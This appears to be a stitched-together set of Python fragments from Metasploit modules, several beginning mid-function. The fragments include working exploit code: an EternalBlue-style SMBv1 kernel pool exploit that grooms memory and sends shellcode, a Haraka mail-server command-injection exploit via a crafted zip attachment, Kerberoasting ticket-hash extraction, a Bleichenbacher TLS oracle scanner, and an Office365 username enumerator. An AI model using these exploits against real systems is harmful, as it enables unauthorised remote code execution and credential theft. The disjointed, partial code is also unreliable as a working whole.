'$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][:16])), hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][16:]))) module.log('{}'.format(entry), level='good') elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.des_cbc_md5.value: entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( constants.EncryptionTypes.des_cbc_md5.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][:16])), hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][16:]))) module.log('{}'.format(entry), level='good') else: pass
def printTable(items, header): colLen = [] for i, col in enumerate(header): rowMaxLen = max([len(row[i]) for row in items]) colLen.append(max(rowMaxLen, len(col))) outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)]) # Print header module.log('{}'.format(outputFormat.format(*header)), level='good') module.log('{}'.format(' '.join(['-' * itemLen for itemLen in colLen])), level='good') # And now the rows for row in items: module.log('{}'.format(outputFormat.format(*row)), level='good')
def run(args): # Define UdaExec ODBC connection "application", must be before LogHandler udaExec = teradata.UdaExec(appName="Auth", version="1.0", logConsole=False, configureLogging=False) # Metasploit LogHandler module.LogHandler.setup(msg_prefix='{} - '.format(args['rhost'])) # Return error for missing dependency if dependencies_missing: logging.error('Python Teradata module missing, cannot continue') return # Set variables to current RHOST, and USERNAME and PASSWORD options host = args['rhost'] user = args['username'] password = args['password'] # Perform login attempt module.log(host + ' - ' + user + ':' + password + ' - Starting') try: session = udaExec.connect(method="odbc", system=host, username=user, password=password); except teradata.api.Error as e: logging.error(user + ':' + password + ' - ' + format(e)) return else: module.log(host + ' - ' + user + ':' + password + ' - Login Successful', level='good') try: query = args['sql'] module.log(host + ' - Starting - ' + query) for row in session.execute(query): outputRow=str(row) module.log(host + ' - ' + outputRow, level='good') except teradata.api.Error as e: logging.error(format(e)) return
async def probe_host(host, port, payload, connect_timeout, read_timeout): buf = bytearray() try: async with timeout(connect_timeout): r, w = await asyncio.open_connection(host, port) remote = w.get_extra_info('peername') if remote[0] == host: module.log('{}:{} - Connected'.format(host, port), level='debug') else: module.log('{}({}):{} - Connected'.format(host, *remote), level='debug') w.write(payload) await w.drain() async with timeout(read_timeout): while len(buf) < 4096: data = await r.read(4096) if data: module.log('{}:{} - Received {} bytes'.format(host, port, len(data)), level='debug') buf.extend(data) else: break except asyncio.TimeoutError: if buf: pass else: raise finally: try: w.close() except Exception: # Either we got something and the socket got in a bad state, or the # original error will point to the root cause pass return buf
def _exploit(target, port, feaList, shellcode, numGroomConn, username, password): # force using smb.SMB for SMB1 conn = smb.SMB(target, target, sess_port = port) conn.login(username, password) server_os = conn.get_server_os() module.log('Target OS: '+server_os) if server_os.startswith("Windows 10 "): build = int(server_os.split()[-1]) if build >= 14393: # version 1607 module.log('This exploit does not support this build: {} >= 14393'.format(build), 'error') sys.exit(1) elif not (server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ")): module.log('This exploit does not support this target: {}'.format(server_os), 'error') sys.exit(1) tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') # The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand. # Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, len(feaList)%4096, False) # Another TRANS2_OPEN2 (0) with special feaList for disabling NX nxconn = smb.SMB(target, target, sess_port = port) nxconn.login(username, password) nxtid = nxconn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') nxprogress = send_big_trans2(nxconn, nxtid, 0, feaListNx, '\x00'*30, len(feaList)%4096, False) # create some big buffer at server # this buffer MUST NOT be big enough for overflown buffer allocConn = createSessionAllocNonPaged(target, port, NTFEA_SIZE - 0x2010, username, password) # groom nonpaged pool # when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one srvnetConn = [] for i in range(numGroomConn): sk = createConnectionWithBigSMBFirst80(target, port, for_nx=True) srvnetConn.append(sk) # create buffer size NTFEA_SIZE at server # this buffer will be replaced by overflown buffer holeConn = createSessionAllocNonPaged(target, port, NTFEA_SIZE-0x10, username, password) # disconnect allocConn to free buffer # expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer allocConn.get_socket().close() # hope one of srvnetConn is next to holeConn for i in range(5): sk = createConnectionWithBigSMBFirst80(target, port, for_nx=True) srvnetConn.append(sk) # remove holeConn to create hole for fea buffer holeConn.get_socket().close() # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header # first trigger, overwrite srvnet buffer struct for disabling NX send_trans2_second(nxconn, nxtid, feaListNx[nxprogress:], nxprogress) recvPkt = nxconn.recvSMB() retStatus = recvPkt.getNTStatus() if retStatus == 0xc000000d: module.log('good response status for nx: INVALID_PARAMETER') else: module.log('bad response status for nx: 0x{:08x}'.format(retStatus), 'error') # one of srvnetConn struct header should be modified # send '\x00' to disable nx for sk in srvnetConn: sk.send('\x00') # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header # second trigger, place fake struct and shellcode send_trans2_second(conn, tid, feaList[progress:], progress) recvPkt = conn.recvSMB() retStatus = recvPkt.getNTStatus() if retStatus == 0xc000000d: module.log('good response status: INVALID_PARAMETER') else: module.log('bad response status: 0x{:08x}'.format(retStatus), 'error') # one of srvnetConn struct header should be modified # a corrupted buffer will write recv data in designed memory address for sk in srvnetConn: sk.send(fake_recv_struct + shellcode) # execute shellcode for sk in srvnetConn: sk.close() # nicely close connection (no need for exploit) nxconn.disconnect_tree(tid) nxconn.logoff() nxconn.get_socket().close() conn.disconnect_tree(tid) conn.logoff() conn.get_socket().close()
def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True): pkt = smb.NewSMBPacket() pkt['Tid'] = tid command = pack('<H', setup) # Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug. transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT) transCommand['Parameters'] = smb.SMBNTTransaction_Parameters() transCommand['Parameters']['MaxSetupCount'] = 1 transCommand['Parameters']['MaxParameterCount'] = len(param) transCommand['Parameters']['MaxDataCount'] = 0 transCommand['Data'] = smb.SMBTransaction2_Data() transCommand['Parameters']['Setup'] = command transCommand['Parameters']['TotalParameterCount'] = len(param) transCommand['Parameters']['TotalDataCount'] = len(data) fixedOffset = 32+3+38 + len(command) if len(param) > 0: padLen = (4 - fixedOffset % 4 ) % 4 padBytes = '\xFF' * padLen transCommand['Data']['Pad1'] = padBytes else: transCommand['Data']['Pad1'] = '' padLen = 0 transCommand['Parameters']['ParameterCount'] = len(param) transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen if len(data) > 0: pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4 transCommand['Data']['Pad2'] = '\xFF' * pad2Len else: transCommand['Data']['Pad2'] = '' pad2Len = 0 transCommand['Parameters']['DataCount'] = firstDataFragmentSize transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len transCommand['Data']['Trans_Parameters'] = param transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize] pkt.addCommand(transCommand) conn.sendSMB(pkt) recvPkt = conn.recvSMB() # must be success if recvPkt.getNTStatus() == 0: module.log('got good NT Trans response') else: module.log('got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus()), 'error') sys.exit(1) # Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data i = firstDataFragmentSize while i < len(data): sendSize = min(4096, len(data) - i) if len(data) - i <= 4096: if not sendLastChunk: break send_trans2_second(conn, tid, data[i:i+sendSize], i) i += sendSize if sendLastChunk: conn.recvSMB() return i
else: logging.critical(msg) SHUTDOWN_EVENT.set() for thread in threads: while thread.is_alive(): thread.join(timeout=0.1) out_q.put(DIE) for thread in meta_threads: while thread.is_alive(): thread.join(timeout=0.1) if __name__ == "__main__": if MSF: module.log(get_banner(), "info") module.run(metadata, run) else: print(get_banner()) parser = argparse.ArgumentParser(description="Enumerate Usernames (email addresses) from Office365 ActiveSync") parser.add_argument("-u", "--users", help="Potential usernames file, one username per line", required=True) parser.add_argument("-o", "--output", help="Output file (will be appended to)", required=True) parser.add_argument("--password", default=default_password, help="Password to use during enumeration. Default: {}".format(default_password)) parser.add_argument("--url", help="ActiveSync URL. Default: {}".format(default_url), default=default_url) parser.add_argument("--threads", help="Maximum threads. Default: {}".format(default_max_threads), default=default_max_threads, type=int) parser.add_argument("--timeout", help="HTTP Timeout. Default: {}".format(default_timeout), default=default_timeout, type=float) parser.add_argument("-v", "--verbose", help="Debug logging", action="store_true") parser.add_argument("--logfile", help="Log File", default=None)
def send_data(self, data): self.execute_remote(data) if self._noOutput is False: module.log(self._outputBuffer) self._outputBuffer = ''
def run(args): if dependencies_missing: module.log("Module dependencies (gmpy2 and cryptography python libraries) missing, cannot continue", level='error') return target = (args['rhost'], int(args['rport'])) timeout = float(args['timeout']) cipher_handshake = cipher_handshakes[args['cipher_group']] module.log("{}:{} - Scanning host for Bleichenbacher oracle".format(*target), level='debug') N, e = get_rsa_from_server(target, timeout) if not N: module.log("{}:{} - Cannot establish SSL connection: {}".format(*target, e), level='error') return modulus_bits = int(math.ceil(math.log(N, 2))) modulus_bytes = (modulus_bits + 7) // 8 module.log("{}:{} - RSA N: {}".format(*target, hex(N)), level='debug') module.log("{}:{} - RSA e: {}".format(*target, hex(e)), level='debug') module.log("{}:{} - Modulus size: {} bits, {} bytes".format(*target, modulus_bits, modulus_bytes), level='debug') cke_2nd_prefix = bytearray.fromhex("{0:0{1}x}".format(modulus_bytes + 6, 4) + "10" + "{0:0{1}x}".format(modulus_bytes + 2, 6) + "{0:0{1}x}".format(modulus_bytes, 4)) # pad_len is length in hex chars, so bytelen * 2 pad_len = (modulus_bytes - 48 - 3) * 2 rnd_pad = ("abcd" * (pad_len // 2 + 1))[:pad_len] rnd_pms = "aa112233445566778899112233445566778899112233445566778899112233445566778899112233445566778899" pms_good_in = int("0002" + rnd_pad + "00" + "0303" + rnd_pms, 16) # wrong first two bytes pms_bad_in1 = int("4117" + rnd_pad + "00" + "0303" + rnd_pms, 16) # 0x00 on a wrong position, also trigger older JSSE bug pms_bad_in2 = int("0002" + rnd_pad + "11" + rnd_pms + "0011", 16) # no 0x00 in the middle pms_bad_in3 = int("0002" + rnd_pad + "11" + "1111" + rnd_pms, 16) # wrong version number (according to Klima / Pokorny / Rosa paper) pms_bad_in4 = int("0002" + rnd_pad + "00" + "0202" + rnd_pms, 16) pms_good = int(gmpy2.powmod(pms_good_in, e, N)).to_bytes(modulus_bytes, byteorder="big") pms_bad1 = int(gmpy2.powmod(pms_bad_in1, e, N)).to_bytes(modulus_bytes, byteorder="big") pms_bad2 = int(gmpy2.powmod(pms_bad_in2, e, N)).to_bytes(modulus_bytes, byteorder="big") pms_bad3 = int(gmpy2.powmod(pms_bad_in3, e, N)).to_bytes(modulus_bytes, byteorder="big") pms_bad4 = int(gmpy2.powmod(pms_bad_in4, e, N)).to_bytes(modulus_bytes, byteorder="big") oracle_good = oracle(target, pms_good, cke_2nd_prefix, cipher_handshake, messageflow=False, timeout=timeout) oracle_bad1 = oracle(target, pms_bad1, cke_2nd_prefix, cipher_handshake, messageflow=False, timeout=timeout) oracle_bad2 = oracle(target, pms_bad2, cke_2nd_prefix, cipher_handshake, messageflow=False, timeout=timeout) oracle_bad3 = oracle(target, pms_bad3, cke_2nd_prefix, cipher_handshake, messageflow=False, timeout=timeout) oracle_bad4 = oracle(target, pms_bad4, cke_2nd_prefix, cipher_handshake, messageflow=False, timeout=timeout) if (oracle_good == oracle_bad1 == oracle_bad2 == oracle_bad3 == oracle_bad4): module.log("{}:{} - Identical results ({}), retrying with changed messageflow".format(*target, oracle_good), level='info') oracle_good = oracle(target, pms_good, cke_2nd_prefix, cipher_handshake, messageflow=True, timeout=timeout) oracle_bad1 = oracle(target, pms_bad1, cke_2nd_prefix, cipher_handshake, messageflow=True, timeout=timeout) oracle_bad2 = oracle(target, pms_bad2, cke_2nd_prefix, cipher_handshake, messageflow=True, timeout=timeout) oracle_bad3 = oracle(target, pms_bad3, cke_2nd_prefix, cipher_handshake, messageflow=True, timeout=timeout) oracle_bad4 = oracle(target, pms_bad4, cke_2nd_prefix, cipher_handshake, messageflow=True, timeout=timeout) if (oracle_good == oracle_bad1 == oracle_bad2 == oracle_bad3 == oracle_bad4): module.log("{}:{} - Identical results ({}), no working oracle found".format(*target, oracle_good), level='info') return else: flow = True else: flow = False # Re-checking all oracles to avoid unreliable results oracle_good_verify = oracle(target, pms_good, cke_2nd_prefix, cipher_handshake, messageflow=flow, timeout=timeout) oracle_bad_verify1 = oracle(target, pms_bad1, cke_2nd_prefix, cipher_handshake, messageflow=flow, timeout=timeout) oracle_bad_verify2 = oracle(target, pms_bad2, cke_2nd_prefix, cipher_handshake, messageflow=flow, timeout=timeout) oracle_bad_verify3 = oracle(target, pms_bad3, cke_2nd_prefix, cipher_handshake, messageflow=flow, timeout=timeout) oracle_bad_verify4 = oracle(target, pms_bad4, cke_2nd_prefix, cipher_handshake, messageflow=flow, timeout=timeout) if (oracle_good != oracle_good_verify) or (oracle_bad1 != oracle_bad_verify1) or (oracle_bad2 != oracle_bad_verify2) or (oracle_bad3 != oracle_bad_verify3) or (oracle_bad4 != oracle_bad_verify4): module.log("{}:{} - Getting inconsistent results, skipping".format(*target), level='warning') return # If the response to the invalid PKCS#1 request (oracle_bad1) is equal to both # requests starting with 0002, we have a weak oracle. This is because the only # case where we can distinguish valid from invalid requests is when we send # correctly formatted PKCS#1 message with 0x00 on a correct position. This # makes our oracle weak if (oracle_bad1 == oracle_bad2 == oracle_bad3): oracle_strength = "weak" else: oracle_strength = "strong" if flow: flowt = "shortened" else: flowt = "standard" s, cke_version = tls_connect(target, timeout, cipher_handshake) s.close() if cke_version[0] == 3 and cke_version[1] == 0: tlsver = "SSLv3" elif cke_version[0] == 3 and cke_version[1] == 1: tlsver = "TLSv1.0" elif cke_version[0] == 3 and cke_version[1] == 2: tlsver = "TLSv1.1" elif cke_version[0] == 3 and cke_version[1] == 3: tlsver = "TLSv1.2" else: tlsver = "TLS raw version %i/%i" % (cke_version[0], cke_version[1]) module.report_vuln(target[0], 'Bleichenbacher Oracle', port=target[1]) module.log("{}:{} - Vulnerable: ({}) oracle found {} with {} message flow".format(*target, oracle_strength, tlsver, flowt), level='good') module.log("{}:{} - Result of good request: {}".format(*target, oracle_good), level='debug') module.log("{}:{} - Result of bad request 1 (wrong first bytes): {}".format(*target, oracle_bad1), level='debug') module.log("{}:{} - Result of bad request 2 (wrong 0x00 position): {}".format(*target, oracle_bad2), level='debug') module.log("{}:{} - Result of bad request 3 (missing 0x00): {}".format(*target, oracle_bad3), level='debug') module.log("{}:{} - Result of bad request 4 (bad TLS version): {}".format(*target, oracle_bad4), level='debug')
def send_mail(to, mailserver, cmd, mfrom, port): msg = MIMEMultipart() html = "harakiri" msg['Subject'] = "harakiri" msg['From'] = mfrom msg['To'] = to f = "harakiri.zip" msg.attach(MIMEText(html)) module.log("Send harariki to %s, commandline: %s , mailserver %s is used for delivery"%(to, cmd, mailserver), 'debug') part = MIMEApplication(create_zip(cmd),Name="harakiri.zip") part['Content-Disposition'] = 'attachment; filename="harakiri.zip"' msg.attach(part) module.log("Sending mail to target server...") module.log(msg.as_string(), 'debug') s = smtplib.SMTP(mailserver, port) try: resp = s.sendmail(mfrom, to, msg.as_string()) except smtplib.SMTPDataError as err: if err[0] == 450: module.log("Triggered bug in target server (%s)"%err[1], 'good') s.close() return(True) module.log("Bug not triggered in target server", 'error') module.log("it may not be vulnerable or have the attachment plugin activated", 'error') s.close() return(False)